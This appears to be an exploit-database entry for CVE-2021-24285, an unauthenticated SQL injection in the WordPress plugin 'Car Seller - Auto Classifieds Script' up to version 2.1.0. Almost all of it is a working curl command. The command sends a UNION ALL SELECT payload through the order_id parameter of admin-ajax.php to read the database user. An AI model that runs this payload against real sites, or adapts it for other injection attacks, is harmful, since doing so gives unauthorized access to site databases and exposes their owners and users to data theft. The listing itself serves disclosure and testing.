Exploit for Car Seller - Auto Classifieds Script <= 2.1.0 - Unauthenticated SQL Injection CVE-2021-24285

## https://sploitus.com/exploit?id=WPEX-ID:F35D6AB7-DD52-48B3-A79C-3F89EDF24162
curl 'https://example.com/wp-admin/admin-ajax.php' \
  --data-raw 'action=request_list_request&order_id=-1662 UNION ALL SELECT NULL,NULL,current_user(),current_user(),current_user(),NULL,current_user(),current_user(),NULL-- -' \
  --compressed \
  --insecure